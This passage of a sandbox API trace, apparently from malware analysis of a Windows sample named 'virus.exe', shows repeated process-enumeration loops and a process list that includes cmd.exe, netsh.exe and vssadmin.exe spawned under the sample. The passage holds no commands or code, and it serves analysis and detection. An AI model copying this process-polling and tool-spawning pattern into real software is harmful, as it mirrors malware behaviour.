lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0225.035] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.035] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0225.036] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0225.036] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0225.037] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0225.037] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0225.037] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0225.038] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0225.038] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0225.038] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0225.039] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0225.039] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.040] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0225.040] CloseHandle (hObject=0x190) returned 1 [0225.040] Sleep (dwMilliseconds=0x1f4) [0226.271] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0226.273] Process32FirstW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.274] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.274] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.275] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.275] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.276] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.276] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.277] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.277] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.277] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0226.278] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.278] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.279] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.279] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.280] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.280] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0226.280] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.281] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.281] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0226.282] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0226.282] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0226.283] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0226.283] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.283] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0226.284] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0226.284] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0226.285] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0226.285] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0226.286] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0226.286] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0226.287] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0226.287] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0226.287] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0226.288] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.288] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0226.289] CloseHandle (hObject=0x168) returned 1 [0226.289] Sleep (dwMilliseconds=0x1f4) [0227.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0227.569] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.570] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0227.570] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0227.571] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.571] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0227.571] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.572] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0227.572] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0227.573] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0227.573] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0227.573] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.574] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.574] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.574] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.575] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.575] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0227.576] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.576] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.576] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0227.577] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.577] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0227.577] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0227.578] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.578] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0227.578] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0227.579] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0227.579] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0227.579] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0227.580] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0227.580] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0227.580] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0227.581] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0227.581] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0227.581] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, 